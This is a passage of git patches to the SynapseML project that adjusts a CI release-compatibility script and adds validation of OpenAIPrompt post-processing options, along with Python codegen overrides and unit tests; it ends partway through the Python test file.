b/core/src/test/scala/com/microsoft/azure/synapse/ml/codegen/WrappableTests.scala @@ -15,6 +15,6 @@ class WrappableTests extends TestBase { test ("test CompanionModelClassName") { val regressorCompanionModelClasName = new TestRegressor().getCompanionModelClassName assert(regressorCompanionModelClasName.equals( - "com.microsoft.azure.synapse.ml.codegen.WrappableTests.TestRegressorModel")) + "com.microsoft.azure.synapse.ml.codegen.TestRegressorModel")) } } diff --git a/pipeline.yaml b/pipeline.yaml index 66d40e469c2..3d52b2d1ba6 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -772,6 +772,7 @@ jobs: PACKAGE: "core" TEST_CLASSES: >- com.microsoft.azure.synapse.ml.core.** + com.microsoft.azure.synapse.ml.codegen.** com.microsoft.azure.synapse.ml.SecretsSuite com.microsoft.azure.synapse.ml.nbtest.DatabricksUtilitiesSuite explainers1: @@ -948,16 +949,35 @@ jobs: echo "Release-relevant paths:" printf ' %s\n' "${RELEASE_RELEVANT_PATHS[@]}" - echo "##vso[task.setvariable variable=releaseCompatRequired]true" echo "=== Fetching release branch $(RELEASE_BRANCH) ===" git fetch origin $(RELEASE_BRANCH) RELEASE_TIP=$(git rev-parse FETCH_HEAD) echo "Release branch tip: $RELEASE_TIP" + REPLAY_PATHS=() + for path in "${RELEASE_RELEVANT_PATHS[@]}"; do + if ! git cat-file -e "$PR_MERGE_HEAD:$path" 2>/dev/null && + ! git cat-file -e "$RELEASE_TIP:$path" 2>/dev/null; then + echo "Skipping deletion already absent on $(RELEASE_BRANCH): $path" + else + REPLAY_PATHS+=("$path") + fi + done + + if [ ${#REPLAY_PATHS[@]} -eq 0 ]; then + echo "No release-relevant changes remain after excluding already-absent deletions" + echo "##vso[task.setvariable variable=releaseCompatRequired]false" + exit 0 + fi + + echo "Paths to replay:" + printf ' %s\n' "${REPLAY_PATHS[@]}" + echo "##vso[task.setvariable variable=releaseCompatRequired]true" + PATCH_PATH="$(Agent.TempDirectory)/release-compat.patch" git diff --binary --full-index "$TARGET_HEAD" "$PR_MERGE_HEAD" -- \ - "${RELEASE_RELEVANT_PATHS[@]}" > "$PATCH_PATH" + "${REPLAY_PATHS[@]}" > "$PATCH_PATH" test -s "$PATCH_PATH" echo "=== Attempting to apply release-relevant PR changes onto $(RELEASE_BRANCH) ===" diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index 15bfe6f6eae..ee2de3fdb1b 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -235,7 +235,12 @@ def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): 'git diff --binary --full-index "$TARGET_HEAD" "$PR_MERGE_HEAD"' in rebase_script ) - assert '"${RELEASE_RELEVANT_PATHS[@]}" > "$PATCH_PATH"' in rebase_script + assert "REPLAY_PATHS=()" in rebase_script + assert 'git cat-file -e "$PR_MERGE_HEAD:$path"' in rebase_script + assert 'git cat-file -e "$RELEASE_TIP:$path"' in rebase_script + assert "Skipping deletion already absent on $(RELEASE_BRANCH)" in rebase_script + assert "[ ${#REPLAY_PATHS[@]} -eq 0 ]" in rebase_script + assert '"${REPLAY_PATHS[@]}" > "$PATCH_PATH"' in rebase_script assert "git checkout --detach $RELEASE_TIP" in rebase_script assert 'git apply --3way --index "$PATCH_PATH"' in rebase_script assert "git rebase" not in rebase_script From 0dfddd3685a8051c78843903a89808a7b10d3e88 Mon Sep 17 00:00:00 2001 From: Minh Vu Date: Sat, 8 Aug 2026 00:38:08 +0200 Subject: [PATCH 35/93] fix: validate OpenAIPrompt Java post-processing options (#2576) Co-authored-by: Ranadeep Singh --- .../ml/services/openai/OpenAIPrompt.scala | 168 ++++--- .../services/openai/OpenAIPromptParsers.scala | 45 ++ .../openai/OpenAIPromptPostProcessing.scala | 136 +++++ .../openai/OpenAIPromptPythonOverrides.scala | 256 ++++++++++ .../openai/test_OpenAIPromptParams.py | 468 ++++++++++++++++++ .../openai/OpenAIPromptParamsSuite.scala | 333 +++++++++++++ .../services/openai/OpenAIPromptSuite.scala | 40 -- .../azure/synapse/ml/codegen/Wrappable.scala | 31 +- 8 files changed, 1356 insertions(+), 121 deletions(-) create mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParsers.scala create mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPostProcessing.scala create mode 100644 cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala create mode 100644 cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIPromptParams.py create mode 100644 cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParamsSuite.scala diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala index 9e56e997748..6dd6dfb1b99 100644 --- a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPrompt.scala @@ -16,7 +16,7 @@ import org.apache.hadoop.fs.{Path => HPath} import org.apache.http.entity.AbstractHttpEntity import org.apache.spark.ml.{ComplexParamsReadable, ComplexParamsWritable, Transformer} import org.apache.spark.ml.param.{BooleanParam, Param, ParamMap, ParamValidators} -import org.apache.spark.ml.util.Identifiable +import org.apache.spark.ml.util.{Identifiable, MLWriter} import org.apache.spark.sql.catalyst.encoders.ExpressionEncoder import org.apache.spark.sql.{Column, DataFrame, Dataset, Row, functions => F, types => T} import org.apache.spark.sql.catalyst.encoders.RowEncoder @@ -25,7 +25,6 @@ import org.apache.spark.sql.functions.{col, typedLit, udf} import org.apache.spark.sql.types.{DataType, StructField, StructType} import spray.json.DefaultJsonProtocol._ - import java.io.ByteArrayInputStream import java.net.{URI, URL, URLConnection} import java.nio.charset.StandardCharsets @@ -50,7 +49,41 @@ class OpenAIPrompt(override val uid: String) extends Transformer def this() = this(Identifiable.randomUID("OpenAIPrompt")) - override def copy(extra: ParamMap): Transformer = defaultCopy(extra) + private[openai] def generatedPythonClass: String = pythonClass() + + override def copy(extra: ParamMap): Transformer = { + val copied = defaultCopy(extra).asInstanceOf[OpenAIPrompt] + copied.postProcessingExplicitlySet = + postProcessingExplicitlySet || extra.contains(postProcessing) + if (extra.contains(postProcessingOptions)) { + copied.setPostProcessingOptions(copied.getPostProcessingOptions) + } else if (extra.contains(postProcessing)) { + OpenAIPromptPostProcessing.inferMode(copied.getPostProcessingOptions) + .foreach { expectedMode => + OpenAIPromptPostProcessing.validateModeValue(copied.getPostProcessing, expectedMode) + } + } + copied + } + + override def write: MLWriter = { + val delegate = super.write + new MLWriter { + override def save(path: String): Unit = { + OpenAIPrompt.this.getEffectivePostProcessing + super.save(path) + } + + override protected def saveImpl(path: String): Unit = { + delegate.session(sparkSession) + optionMap.foreach { case (key, value) => delegate.option(key, value) } + if (shouldOverwrite) { + delegate.overwrite() + } + delegate.save(path) + } + } + } def urlPath: String = "" @@ -61,19 +94,13 @@ class OpenAIPrompt(override val uid: String) extends Transformer val usageCol: Param[String] = new Param[String]( this, "usageCol", "Column to hold usage statistics. Set this parameter to enable usage tracking.") - def getUsageCol: String = $(usageCol) - def setUsageCol(value: String): this.type = set(usageCol, value) - val responseIdCol: Param[String] = new Param[String]( this, "responseIdCol", "Column to hold response ID when store=true. Auto-generated if not explicitly set.") - setDefault(responseIdCol -> s"${uid}_responseId") - def getResponseIdCol: String = $(responseIdCol) - def setResponseIdCol(value: String): this.type = set(responseIdCol, value) val promptTemplate = new Param[String]( @@ -89,7 +116,15 @@ class OpenAIPrompt(override val uid: String) extends Transformer def getPostProcessing: String = $(postProcessing) - def setPostProcessing(value: String): this.type = set(postProcessing, value) + private var postProcessingExplicitlySet: Boolean = false + + def setPostProcessing(value: String): this.type = { + OpenAIPromptPostProcessing.inferMode(getPostProcessingOptions) + .foreach(expectedMode => OpenAIPromptPostProcessing.validateModeValue(value, expectedMode)) + val result = set(postProcessing, value) + postProcessingExplicitlySet = true + result + } val postProcessingOptions = new StringStringMapParam( this, "postProcessingOptions", "Options (default): delimiter=',', jsonSchema, regex, regexGroup=0") @@ -99,29 +134,47 @@ class OpenAIPrompt(override val uid: String) extends Transformer def setPostProcessingOptions(value: Map[String, String]): this.type = { def setOrValidatePostProcessing(expected: String): Unit = { if (isSet(postProcessing)) { - require(getPostProcessing == expected, s"postProcessing must be '$expected'") + if (getPostProcessing.isEmpty && !postProcessingExplicitlySet) { + set(postProcessing, expected) + } else { + OpenAIPromptPostProcessing.validateModeValue(getPostProcessing, expected) + } } else { set(postProcessing, expected) + postProcessingExplicitlySet = false } } - value match { - case v if v.contains("delimiter") => - setOrValidatePostProcessing("csv") - case v if v.contains("jsonSchema") => - setOrValidatePostProcessing("json") - case v if v.contains("regex") => - require(v.contains("regexGroup"), "regexGroup must be specified with regex") - setOrValidatePostProcessing("regex") - case _ => - throw new IllegalArgumentException("Invalid post processing options") - } - + val inferredMode = OpenAIPromptPostProcessing.inferMode(value) + inferredMode.foreach(setOrValidatePostProcessing) + OpenAIPromptPostProcessing.validateModeOptions( + inferredMode.getOrElse(getPostProcessing), + value + ) set(postProcessingOptions, value) } def setPostProcessingOptions(v: java.util.HashMap[String, String]): this.type = - set(postProcessingOptions, v.asScala.toMap) + setPostProcessingOptions(v.asScala.toMap) + + override protected def pyParamSetter(p: Param[_]): String = { + if (p.name == postProcessingOptions.name) { + OpenAIPromptPythonOverrides.postProcessingOptionsSetter(super.pyParamSetter(p)) + } else if (p.name == postProcessing.name) { + OpenAIPromptPythonOverrides.postProcessingSetter(super.pyParamSetter(p)) + } else { + super.pyParamSetter(p) + } + } + + override protected def pySetParamsFunc: String = + OpenAIPromptPythonOverrides.setParamsFunc(super.pySetParamsFunc) + + override def pyAdditionalMethods: String = + super.pyAdditionalMethods + OpenAIPromptPythonOverrides.AdditionalMethods + + override def pyInitFunc(): String = + OpenAIPromptPythonOverrides.initFunc(super.pyInitFunc()) val dropPrompt = new BooleanParam( this, "dropPrompt", "whether to drop the column of prompts after templating (when using legacy models)") @@ -684,19 +737,39 @@ class OpenAIPrompt(override val uid: String) extends Transformer } } - private def getParser: OutputParser = { + private def getEffectivePostProcessing: String = { val opts = getPostProcessingOptions + val effectivePostProcessing = OpenAIPromptPostProcessing.inferMode(opts) match { + case Some(inferredMode) => + val configuredMode = get(postProcessing) + .getOrElse(throw new IllegalArgumentException(s"postProcessing must be '$inferredMode'")) + if (configuredMode.isEmpty && postProcessingExplicitlySet) { + throw new IllegalArgumentException(s"postProcessing must be '$inferredMode'") + } + if (configuredMode.nonEmpty) { + OpenAIPromptPostProcessing.validateModeValue(configuredMode, inferredMode) + } + inferredMode + case None => getPostProcessing + } + OpenAIPromptPostProcessing.validateModeOptions(effectivePostProcessing, opts) + effectivePostProcessing + } - getPostProcessing.toLowerCase match { + private def getParser: OutputParser = { + val opts = getPostProcessingOptions + val effectivePostProcessing = getEffectivePostProcessing + effectivePostProcessing.toLowerCase match { case "csv" => new DelimiterParser(opts.getOrElse("delimiter", ",")) case "json" => new JsonParser(opts("jsonSchema"), Map.empty) case "regex" => new RegexParser(opts("regex"), opts("regexGroup").toInt) case "" => new PassThroughParser() - case _ => throw new IllegalArgumentException(s"Unsupported postProcessing type: '$getPostProcessing'") + case _ => throw new IllegalArgumentException(s"Unsupported postProcessing type: '$effectivePostProcessing'") } } override def transformSchema(schema: StructType): StructType = { + val outputDataType: DataType = getParser.outputSchema val service = getOpenAIChatService val serviceSchema = service match { case chatCompletion: OpenAIResponses => @@ -707,8 +780,6 @@ class OpenAIPrompt(override val uid: String) extends Transformer chatCompletion.transformSchema(schema.add(getMessagesCol, StructType(Seq()))) } - val outputDataType: DataType = getParser.outputSchema - var withoutServiceOutput = StructType(serviceSchema.filterNot(_.name == service.getOutputCol)) var resultSchema = withoutServiceOutput.add(getOutputCol, outputDataType) @@ -727,42 +798,3 @@ class OpenAIPrompt(override val uid: String) extends Transformer } } // scalastyle:on number.of.methods - -trait OutputParser { - def parse(responseCol: Column): Column - - def outputSchema: T.DataType -} - -class PassThroughParser extends OutputParser { - def parse(responseCol: Column): Column = responseCol - - def outputSchema: T.DataType = T.StringType -} - -class DelimiterParser(val delimiter: String) extends OutputParser { - def parse(responseCol: Column): Column = F.split(F.trim(responseCol), delimiter) - - def outputSchema: T.DataType = T.ArrayType(T.StringType) -} - -class JsonParser(val schema: String, options: Map[String, String]) extends OutputParser { - private val cleanJsonString: Column => Column = col => - F.regexp_replace( - // Remove optional leading/trailing code fences and optional 'json' prefix - F.trim(col), - """^(```|''')?\s*json\s*|(```|''')$""", - "" - ) - - def parse(responseCol: Column): Column = - F.from_json(cleanJsonString(responseCol), schema, options) - - def outputSchema: T.DataType = DataType.fromDDL(schema) -} - -class RegexParser(val regex: String, val groupIdx: Int) extends OutputParser { - def parse(responseCol: Column): Column = F.regexp_extract(responseCol, regex, groupIdx) - - def outputSchema: T.DataType = T.StringType -} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParsers.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParsers.scala new file mode 100644 index 00000000000..52bf0bf0add --- /dev/null +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptParsers.scala @@ -0,0 +1,45 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import org.apache.spark.sql.{Column, functions => F, types => T} +import org.apache.spark.sql.types.DataType + +trait OutputParser { + def parse(responseCol: Column): Column + + def outputSchema: T.DataType +} + +class PassThroughParser extends OutputParser { + def parse(responseCol: Column): Column = responseCol + + def outputSchema: T.DataType = T.StringType +} + +class DelimiterParser(val delimiter: String) extends OutputParser { + def parse(responseCol: Column): Column = F.split(F.trim(responseCol), delimiter) + + def outputSchema: T.DataType = T.ArrayType(T.StringType) +} + +class JsonParser(val schema: String, options: Map[String, String]) extends OutputParser { + private val cleanJsonString: Column => Column = col => + F.regexp_replace( + F.trim(col), + """^(```|''')?\s*json\s*|(```|''')$""", + "" + ) + + def parse(responseCol: Column): Column = + F.from_json(cleanJsonString(responseCol), schema, options) + + def outputSchema: T.DataType = DataType.fromDDL(schema) +} + +class RegexParser(val regex: String, val groupIdx: Int) extends OutputParser { + def parse(responseCol: Column): Column = F.regexp_extract(responseCol, regex, groupIdx) + + def outputSchema: T.DataType = T.StringType +} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPostProcessing.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPostProcessing.scala new file mode 100644 index 00000000000..4e819863875 --- /dev/null +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPostProcessing.scala @@ -0,0 +1,136 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +import org.apache.spark.sql.types.{ArrayType, CharType, DataType, MapType, StringType, StructType, VarcharType} + +import java.util.regex.Pattern +import scala.collection.JavaConverters._ +import scala.util.Try + +private[openai] object OpenAIPromptPostProcessing { + + private val SupportedModes = Set("", "csv", "json", "regex") + private val ModesByOption = Map( + "delimiter" -> "csv", + "jsonSchema" -> "json", + "regex" -> "regex" + ) + private val SupportedOptions = ModesByOption.keySet + "regexGroup" + + private def hasValidJsonMapKeys(dataType: DataType): Boolean = { + dataType match { + case StructType(fields) => fields.forall(field => hasValidJsonMapKeys(field.dataType)) + case ArrayType(elementType, _) => hasValidJsonMapKeys(elementType) + case MapType(StringType, valueType, _) => hasValidJsonMapKeys(valueType) + case _: MapType => false + case _: CharType | _: VarcharType => false + case _ => true + } + } + + private def validateJsonSchema(schema: String): Unit = { + val validJsonSchema = Try(DataType.fromDDL(schema)).toOption.exists { + case dataType: StructType => hasValidJsonMapKeys(dataType) + case dataType: ArrayType => hasValidJsonMapKeys(dataType) + case dataType @ MapType(StringType, _, _) => hasValidJsonMapKeys(dataType) + case _ => false + } + if (!validJsonSchema) { + throw new IllegalArgumentException("Invalid jsonSchema") + } + } + + private def validateRegex(options: Map[String, String]): Unit = { + require(options.contains("regexGroup"), "regexGroup must be specified with regex") + val pattern = Try(Pattern.compile(options("regex"))) + .getOrElse(throw new IllegalArgumentException("Invalid regex")) + val regexGroup = Try(options("regexGroup").toInt).toOption + .filter(_ >= 0) + .getOrElse(throw new IllegalArgumentException("regexGroup must be a non-negative integer")) + if (regexGroup > pattern.matcher("").groupCount()) { + throw new IllegalArgumentException("regexGroup exceeds the number of capture groups") + } + } + + private def validateOption(modeOption: String, options: Map[String, String]): Unit = { + modeOption match { + case "jsonSchema" => validateJsonSchema(options("jsonSchema")) + case "delimiter" => + if (Try(Pattern.compile(options("delimiter"))).isFailure) { + throw new IllegalArgumentException("Invalid delimiter") + } + case "regex" => validateRegex(options) + case _ => + } + } + + def inferMode(options: Map[String, String]): Option[String] = { + if (options.isEmpty) { + None + } else { + val unsupportedOptions = options.keySet -- SupportedOptions + val modeOptions = options.keySet.intersect(ModesByOption.keySet) + if (unsupportedOptions.nonEmpty || + modeOptions.size != 1 || + (options.contains("regexGroup") && !options.contains("regex"))) { + throw new IllegalArgumentException("Invalid post processing options") + } + + val modeOption = modeOptions.head + validateOption(modeOption, options) + Some(ModesByOption(modeOption)) + } + } + + def validateModeOptions(postProcessing: String, options: Map[String, String]): Unit = { + postProcessing match { + case "json" => + require(options.contains("jsonSchema"), "jsonSchema must be specified with json postProcessing") + case "regex" => + require( + options.contains("regex") && options.contains("regexGroup"), + "regex and regexGroup must be specified with regex postProcessing" + ) + case _ => + } + } + + def validateModeValue(actualMode: String, expectedMode: String): Unit = { + if (actualMode != expectedMode) { + throw new IllegalArgumentException(s"postProcessing must be '$expectedMode'") + } + } + + private def validateSupportedMode(mode: String): Unit = { + if (!SupportedModes.contains(mode)) { + throw new IllegalArgumentException(s"Unsupported postProcessing mode '$mode'") + } + } + + def validateAndInferMode(options: java.util.HashMap[String, String], postProcessing: String): String = { + val scalaOptions = options.asScala.toMap + val configuredMode = Option(postProcessing) + configuredMode.foreach(validateSupportedMode) + val inferredMode = inferMode(scalaOptions) + inferredMode.foreach { expectedMode => + configuredMode.foreach(mode => validateModeValue(mode, expectedMode)) + } + val effectiveMode = inferredMode.orElse(configuredMode).getOrElse("") + validateModeOptions(effectiveMode, scalaOptions) + effectiveMode + } + + def validateMode(prompt: OpenAIPrompt, postProcessing: String): Unit = { + validateSupportedMode(postProcessing) + inferMode(prompt.getPostProcessingOptions) + .foreach(expectedMode => validateModeValue(postProcessing, expectedMode)) + } + + def validateModeWithOptions(options: java.util.HashMap[String, String], postProcessing: String): Unit = { + validateSupportedMode(postProcessing) + inferMode(options.asScala.toMap) + .foreach(expectedMode => validateModeValue(postProcessing, expectedMode)) + } +} diff --git a/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala new file mode 100644 index 00000000000..2168628eec8 --- /dev/null +++ b/cognitive/src/main/scala/com/microsoft/azure/synapse/ml/services/openai/OpenAIPromptPythonOverrides.scala @@ -0,0 +1,256 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.services.openai + +private[openai] object OpenAIPromptPythonOverrides { + private def replaceExactlyOnce(value: String, target: String, replacement: String, errorMessage: String): String = { + require(value.sliding(target.length).count(_ == target) == 1, errorMessage) + value.replace(target, replacement) + } + + private val DefaultInitParamLoop = + """ if java_obj is None: + | for k,v in kwargs.items(): + | if v is not None: + | getattr(self, "set" + k[0].upper() + k[1:])(v) + |""".stripMargin + + private val OptionsLastInitParamLoop = + """ self._post_processing_explicitly_set = False + | if java_obj is None: + | kwargs = dict(kwargs) + | post_processing_options = kwargs.pop("postProcessingOptions", None) + | for k,v in kwargs.items(): + | if v is not None: + | getattr(self, "set" + k[0].upper() + k[1:])(v) + | if post_processing_options is not None: + | self.setPostProcessingOptions(post_processing_options) + |""".stripMargin + + def initFunc(defaultInitFunc: String): String = { + replaceExactlyOnce( + defaultInitFunc, + DefaultInitParamLoop, + OptionsLastInitParamLoop, + "OpenAIPrompt Python initializer template did not match" + ) + } + + def postProcessingOptionsSetter(defaultSetter: String): String = { + val defaultBody = + """ self._set(postProcessingOptions=value) + | return self + |""".stripMargin + val validatedBody = + """ value = self._normalize_post_processing_options(value) + | java_value = self._to_java_post_processing_options(value) + | post_processing = ( + | self.getPostProcessing() if self.isSet(self.postProcessing) else None + | ) + | if ( + | post_processing == "" + | and not self._post_processing_explicitly_set + | ): + | post_processing = None + | inferred_post_processing = self._validate_post_processing_options( + | java_value, post_processing + | ) + | return self._apply_post_processing_options( + | value, inferred_post_processing + | ) + |""".stripMargin + replaceExactlyOnce( + defaultSetter, + defaultBody, + validatedBody, + "OpenAIPrompt Python setter template did not match" + ) + } + + def postProcessingSetter(defaultSetter: String): String = { + val defaultBody = + """ self._set(postProcessing=value) + | return self + |""".stripMargin + val validatedBody = + """ value = self._coerce_post_processing(value) + | self._validate_post_processing(value) + | self._set(postProcessing=value) + | self._post_processing_explicitly_set = True + | return self + |""".stripMargin + replaceExactlyOnce( + defaultSetter, + defaultBody, + validatedBody, + "OpenAIPrompt Python postProcessing setter template did not match" + ) + } + + def setParamsFunc(defaultSetParamsFunc: String): String = { + val defaultBody = + """ if hasattr(self, "_input_kwargs"): + | kwargs = self._input_kwargs + | else: + | kwargs = self.__init__._input_kwargs + | return self._set(**kwargs) + |""".stripMargin + val validatedBody = + """ if hasattr(self, "_input_kwargs"): + | kwargs = dict(self._input_kwargs) + | else: + | kwargs = dict(self.__init__._input_kwargs) + | post_processing_explicit = "postProcessing" in kwargs + | if post_processing_explicit: + | kwargs["postProcessing"] = self._coerce_post_processing( + | kwargs["postProcessing"] + | ) + | if "postProcessingOptions" not in kwargs: + | if "postProcessing" in kwargs: + | self._validate_post_processing(kwargs["postProcessing"]) + | result = self._set_params_atomically(kwargs) + | if post_processing_explicit: + | self._post_processing_explicitly_set = True + | return result + | value = self._normalize_post_processing_options(kwargs["postProcessingOptions"]) + | java_value = self._to_java_post_processing_options(value) + | post_processing = kwargs.get("postProcessing") + | if post_processing is None and self.isSet(self.postProcessing): + | post_processing = self.getPostProcessing() + | if ( + | post_processing == "" + | and not post_processing_explicit + | and not self._post_processing_explicitly_set + | ): + | post_processing = None + | inferred_post_processing = self._validate_post_processing_options( + | java_value, post_processing + | ) + | kwargs["postProcessingOptions"] = value + | if inferred_post_processing: + | kwargs["postProcessing"] = inferred_post_processing + | result = self._set_params_atomically(kwargs) + | if post_processing_explicit: + | self._post_processing_explicitly_set = True + | return result + |""".stripMargin + replaceExactlyOnce( + defaultSetParamsFunc, + defaultBody, + validatedBody, + "OpenAIPrompt Python setParams template did not match" + ) + } + + val AdditionalMethods: String = + """ + |def _to_java_post_processing_options(self, value): + | value = self._normalize_post_processing_options(value) + | java_value = SparkContext._active_spark_context._jvm.java.util.HashMap() + | for key, option in value.items(): + | java_value.put(key, option) + | return java_value + | + |def _normalize_post_processing_options(self, value): + | if isinstance(value, JavaObject): + | result = {} + | if value.getClass().getName().startswith("scala.collection"): + | iterator = value.iterator() + | while iterator.hasNext(): + | entry = iterator.next() + | result[entry._1()] = entry._2() + | else: + | iterator = value.entrySet().iterator() + | while iterator.hasNext(): + | entry = iterator.next() + | result[entry.getKey()] = entry.getValue() + | value = result + | if not hasattr(value, "items"): + | raise TypeError("postProcessingOptions must be a mapping") + | result = {} + | for key, option in value.items(): + | if not isinstance(key, basestring) or not isinstance(option, basestring): + | raise TypeError("postProcessingOptions keys and values must be strings") + | result[key] = option + | return result + | + |def _set_params_atomically(self, kwargs): + | converted = {} + | for param, value in kwargs.items(): + | p = getattr(self, param) + | if value is not None: + | try: + | value = p.typeConverter(value) + | except TypeError as error: + | raise TypeError( + | 'Invalid param value given for param "%s". %s' + | % (p.name, error) + | ) + | converted[p] = value + | self._paramMap.update(converted) + | return self + | + |def _coerce_post_processing(self, value): + | if value is None: + | return value + | try: + | return self.postProcessing.typeConverter(value) + | except TypeError as error: + | raise TypeError( + | 'Invalid param value given for param "%s". %s' + | % (self.postProcessing.name, error) + | ) + | + |def _validate_post_processing_options(self, java_value, post_processing): + | return ( + | SparkContext._active_spark_context._jvm.com.microsoft.azure.synapse.ml + | .services.openai.OpenAIPromptPostProcessing.validateAndInferMode( + | java_value, post_processing + | ) + | ) + | + |def _validate_post_processing(self, value): + | options = self.getPostProcessingOptions() + | if isinstance(options, JavaObject): + | ( + | SparkContext._active_spark_context._jvm.com.microsoft.azure.synapse.ml + | .services.openai.OpenAIPromptPostProcessing.validateMode( + | self._java_obj, value + | ) + | ) + | else: + | java_value = self._to_java_post_processing_options(options) + | ( + | SparkContext._active_spark_context._jvm.com.microsoft.azure.synapse.ml + | .services.openai.OpenAIPromptPostProcessing.validateModeWithOptions( + | java_value, value + | ) + | ) + | + |def _apply_post_processing_options(self, value, inferred_post_processing): + | self._set(postProcessingOptions=value) + | if inferred_post_processing: + | self._set(postProcessing=inferred_post_processing) + | return self + | + |def clear(self, param): + | if param == self.postProcessing: + | self._post_processing_explicitly_set = False + | return super(OpenAIPrompt, self).clear(param) + | + |def copy(self, extra=None): + | if extra is None: + | extra = {} + | result = super(OpenAIPrompt, self).copy(extra) + | result._post_processing_explicitly_set = ( + | self._post_processing_explicitly_set + | or self.postProcessing in extra + | ) + | if self.postProcessingOptions in extra: + | result.setPostProcessingOptions(result.getPostProcessingOptions()) + | elif self.postProcessing in extra: + | result._validate_post_processing(result.getPostProcessing()) + | return result + |""".stripMargin +} diff --git a/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIPromptParams.py b/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIPromptParams.py new file mode 100644 index 00000000000..aba94aedd22 --- /dev/null +++ b/cognitive/src/test/python/synapsemltest/services/openai/test_OpenAIPromptParams.py @@ -0,0 +1,468 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import glob +import json +import os +import tempfile +import unittest + +from pyspark.errors.exceptions.captured import IllegalArgumentException +from pyspark.sql.types import StructType + +from synapse.ml.core.init_spark import init_spark +from synapse.ml.services.openai.OpenAIPrompt import OpenAIPrompt + +spark = init_spark() + + +class TestOpenAIPromptParams(unittest.TestCase): + def test_empty_post_processing_options_remain_compatible(self): + prompts = [ + OpenAIPrompt(postProcessingOptions={}), + OpenAIPrompt().setPostProcessingOptions({}), + ] + + for prompt in prompts: + self.assertEqual(prompt.getPostProcessing(), "") + self.assertEqual(prompt.getPostProcessingOptions(), {}) + + def test_constructor_preserves_input_kwargs(self): + options = {"delimiter": ";"} + prompt = OpenAIPrompt(postProcessingOptions=options) + + self.assertEqual(prompt._input_kwargs["postProcessingOptions"], options) + + def test_set_post_processing_options_rejects_malformed_values(self): + malformed_values = [ + None, + [], + "", + {"delimiter": 1}, + {1: ","}, + ] + + for value in malformed_values: + with self.subTest(value=value): + with self.assertRaises(TypeError): + OpenAIPrompt().setPostProcessingOptions(value) + + with self.assertRaises(TypeError): + OpenAIPrompt().setParams(postProcessingOptions=None) + + for action in [ + lambda: OpenAIPrompt().setPostProcessing(1), + lambda: OpenAIPrompt().setParams(postProcessing=1), + lambda: OpenAIPrompt(postProcessing=1), + ]: + with self.subTest(action=action): + with self.assertRaisesRegex( + TypeError, + 'Invalid param value given for param "postProcessing"', + ): + action() + + def test_unsupported_post_processing_is_rejected_atomically(self): + prompt = OpenAIPrompt().setPostProcessing("csv") + + for action in [ + lambda: prompt.setPostProcessing("bogus"), + lambda: prompt.setParams(postProcessing="bogus"), + lambda: prompt.setParams( + postProcessing="bogus", + postProcessingOptions={"delimiter": ";"}, + ), + lambda: prompt.setParams( + postProcessing="bogus", + postProcessingOptions={"invalidOption": "x"}, + ), + ]: + with self.subTest(action=action): + with self.assertRaisesRegex( + IllegalArgumentException, + "Unsupported postProcessing mode 'bogus'", + ): + action() + self.assertEqual(prompt.getPostProcessing(), "csv") + self.assertFalse(prompt.isSet(prompt.postProcessingOptions)) + + with self.assertRaisesRegex( + IllegalArgumentException, + "Unsupported postProcessing mode 'bogus'", + ): + OpenAIPrompt(postProcessing="bogus") + + def test_set_post_processing_options_infers_csv_and_json_modes(self): + cases = [ + ({"delimiter": ";"}, "csv"), + ({"jsonSchema": "value STRING"}, "json"), + ] + + for options, expected_mode in cases: + with self.subTest(expected_mode=expected_mode): + prompt = OpenAIPrompt().setPostProcessingOptions(options) + + self.assertEqual(prompt.getPostProcessing(), expected_mode) + self.assertEqual(prompt.getPostProcessingOptions(), options) + self.assertEqual(prompt._java_obj.getPostProcessing(), "") + prompt._transfer_params_to_java() + self.assertEqual(prompt._java_obj.getPostProcessing(), expected_mode) + + def test_set_post_processing_options_accepts_valid_regex(self): + options = {"regex": "value=(.*)", "regexGroup": "1"} + prompt = OpenAIPrompt().setPostProcessingOptions(options) + + self.assertEqual(prompt.getPostProcessing(), "regex") + self.assertEqual(prompt.getPostProcessingOptions(), options) + self.assertEqual(prompt._java_obj.getPostProcessing(), "") + prompt._transfer_params_to_java() + self.assertEqual(prompt._java_obj.getPostProcessing(), "regex") + + def 